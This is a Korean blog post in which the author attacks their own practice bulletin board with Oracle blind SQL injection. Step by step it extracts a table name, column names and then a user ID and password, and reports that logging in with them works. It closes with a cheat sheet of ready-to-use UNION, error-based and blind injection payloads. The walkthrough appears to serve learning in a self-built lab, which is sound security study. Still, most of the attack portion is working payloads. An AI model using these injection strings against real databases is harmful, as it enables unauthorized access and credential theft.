Oracle Blind SQL 인젝션

심야·2023년 9월 11일
0

구현한 게시판의 SQL 인젝션 취약점을 찾아보자!


게시물 id 파라미터에 참을 반환하는 쿼리와 거짓을 반환하는 쿼리를 질의한 결과, SQL 인젝션 취약점이 존재한다.

테이블 개수 파악

취약점 존재 여부를 확인했으니 테이블 개수를 파악하겠다.
테이블 개수가 5개 미만이다.

테이블 개수는 3개이다. 개수를 확인했으니 테이블 이름을 파악한다.

  • 질의문 : 'and (select count(table_name) from user_tables)=3--

테이블 이름 파악

첫번째 테이블의 첫 글자는 아스키 코드 100 미만이다.

  • 질의문 : 'and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1))<100--

테이블 첫 글자 아스키 코드는 85이다. 알파벳 U 이다.

  • 질의문 : 'and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1))=85--

테이블 두번째 글자를 찾아야 한다. 두번째 글자는 아스키 코드 75보다 크다.

  • 질의문 : 'and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),2,1))<75--

두번째 글자는 아스키 코드 85보다 작다.

  • 질의문 : 'and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),2,1))<85--

두번째 글자 아스키 코드는 83이다. 알파벳 S 이다.

세번째 글자 아스키 코드는 69이다. 알파벳 E 이다.

네번째 글자 아스키 코드는 82이다. 알파벳 R 이다.

마지막 글자 아스키 코드는 83이다. 알파벳 S 이다.

테이블 이름은 USERS이다. 이제 컬럼 이름을 찾아야 한다.

컬럼 이름 파악

첫번째 컬럼 이름의 첫 글자는 아스키 코드 75보다 크다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),1,1))>75--

컬럼 이름 첫 글자 아스키 코드는 85이다. 알파벳 U이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),1,1))=85--

컬럼 이름 두번째 글자 아스키 코드는 83이다. 알파벳 S이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),2,1))=83--

컬럼 이름 세번째 글자 아스키 코드는 69이다. 알파벳 E이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),3,1))=69--

컬럼 이름 네번째 글자 아스키 코드는 82이다. 알파벳 R이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),4,1))=82--

컬럼 이름 다섯번째 글자 아스키 코드는 95이다. 특수문자 _이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),5,1))=95--

컬럼 이름 여섯번째 글자 아스키 코드는 73이다. 알파벳 I 이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),6,1))=73--

컬럼 이름 마지막 글자 아스키 코드는 68이다. 알파벳 D이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=1),7,1))=68--

첫번째 컬럼 이름은 USER_ID이다.
인젝션 결과, 두번째 컬럼 이름은 name이다. 찾는 컬럼은 비밀번호 컬럼이므로 name 컬럼 탐색 과정은 생략한다.

세번째 컬럼 첫번째 글자 아스키 코드는 75보다 크다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=3),1,1))>75--

85 보다는 작다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=3),1,1))<85--

세번째 컬럼의 첫번째 글자 아스키 코드는 80이다. 알파벳 P이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=3),1,1))=80--

두번째 글자 아스키 코드는 65, 즉 알파벳 A이다.

  • 질의문 : 'and ascii(substr((select column_name from (select rownum as rnum,column_name from all_tab_columns where table_name='USERS') where rnum=3),2,1))=65--

참, 거짓 응답 결과를 여러 번 반복한 결과 세번째 컬럼 이름은 PASSWORD 이다.

현재까지 추출한 테이블과 컬럼 이름은 아래와 같다.

테이블 : USERS
첫번째 컬럼 : USER_ID
세번째 컬럼 : PASSWORD

이제 데이터를 추출한다.

데이터 추출

USER_ID의 첫번째 데이터 아스키 코드는 97보다 크거나 작지 않다.

따라서 첫번째 데이터 아스키 코드는 97이다. 알파벳 a이다.

  • 질의문 : 'and ascii(substr((select USER_ID from (select rownum as rnum,USER_ID from USERS) where rnum=1),1,1))=97--

두번째 아스키 코드는 116, 알파벳 t이다.

  • 질의문 : 'and ascii(substr((select USER_ID from (select rownum as rnum,USER_ID from USERS) where rnum=1),2,1))=116--

참, 거짓 응답 결과를 여러 번 반복한 결과 아이디는 attack이다.

비밀번호를 추출해야 한다. 비밀번호는 특수문자를 포함하고 있을 수 있어 스페이스를 의미하는 아스키 코드 32부터 ~을 의미하는 126 사이에서 찾아야 한다.

  • 질의문 : 'and ascii(substr((select PASSWORD from (select rownum as rnum,PASSWORD from USERS) where rnum=1),1,1))>32--

질의문

  1. 'and ascii(substr((select PASSWORD from (select rownum as rnum,PASSWORD from USERS) where rnum=1),1,1))<80-- ✔
  2. 'and ascii(substr((select PASSWORD from (select rownum as rnum,PASSWORD from USERS) where rnum=1),1,1))>50--
  3. 'and ascii(substr((select PASSWORD from (select rownum as rnum,PASSWORD from USERS) where rnum=1),1,1))>40-- ✔
  4. 'and ascii(substr((select PASSWORD from (select rownum as rnum,PASSWORD from USERS) where rnum=1),1,1))>45-- ✔
  5. 'and ascii(substr((select PASSWORD from (select rownum as rnum,PASSWORD from USERS) where rnum=1),1,1))=48-- ✔

비밀번호 첫번째 글자는 아스키 코드 48, 숫자 0이다.

참, 거짓 응답 결과를 여러 번 반복한 결과 비밀번호는 0000이다.

추출한 아이디는 attack, 비밀번호는 0000 이다.
과연 추출한 계정으로 로그인이 될까?

로그인에 성공했다! 오라클 DB를 사용하는 환경에서 Blind SQL 인젝션으로 계정을 탈취했다.


Oracle Cheat sheet

UNION


# 컬럼 개수 파악
' order by 1--
# 데이터 형 조회
NULL 형 = ' union select null,null,null from dual --
숫자형 = ' union select null,null,123 from dual --
문자형 = ' union select null,null,'123' from dual --
날짜형 = ' union select null,null, sysdate from dual --
# 테이블 명 조회 
' union select null,table_name,null,null from user_tables -- 
# 컬럼 명 조회
' union select null,column_name,null,null from all_tab_columns where table_name='USERS' --
# 데이터 조회
' union select null,USER_ID,null,PASSWORD from USERS --

Error Based

# 테이블 개수 확인
a%' and ctxsys.drithsx.sn(user,(select count(table_name) from user_tables))=1 and '%1%'='%1
# 테이블 명 조회
a%' and ctxsys.drithsx.sn(user,(select table_name from (select table_name, rownum as rnum from user_tables) where rnum=1))=1 and '%1%'='%1
# 테이블 컬럼 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(column_name) from all_tab_columns where table_name='USERS'))=1 and '%1%'='%1
# 컬럼 명 조회
a%' and ctxsys.drithsx.sn(user,(select column_name from (select column_name,rownum as rnum from all_tab_columns where table_name='USERS') where rnum=1))= 1 and '%1%'='%1
# 데이터 갯수 조회
a%' and ctxsys.drithsx.sn(user,(select count(USER_ID) from USERS))=1 and '%1%'='%1
# 데이터 조회
a%' and ctxsys.drithsx.sn(user,(select USER_ID from (select USER_ID, rownum as rnum from USERS) where rnum=1))=1 and '%1%'='%1

Blind

# 테이블 개수 확인
' and (select count(table_name) from user_tables) < 5 -- 
# 테이블 명 조회
' and ascii(substr((select table_name from (select rownum as rnum,table_name from user_tables) where rnum=1),1,1)) > 97 -- 
# 컬럼 개수 조회
' and (select count(column_name) from all_tab_columns where table_name='USERS')=5 --
# 컬럼명 조회
' and ascii(substr((select column_name from (select rownum as rnum, column_name from all_tab_columns where table_name ='USERS') where rnum=1),1,1)) < 90 --
# 데이터 수 조회
' and (select count(user_ID) from USERS) < 10 --
# 데이터 조회
' and ascii(substr((select user_ID from (select rownum as rnum, userID from USERS) where rnum=1),1,1)) < 100 --

# n번째 행 데이터를 조회하려면 rnum 값을 변경하고, n번째 글자를 조회하려면 n 값을 변경한다.
'and ascii(substr((select PASSWORD from(select rownum as rnum,PASSWORD from USERS) where rnum=2),n,1)) > 97 --

참고

https://useegod.com/2022/03/30/sql_injection/

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글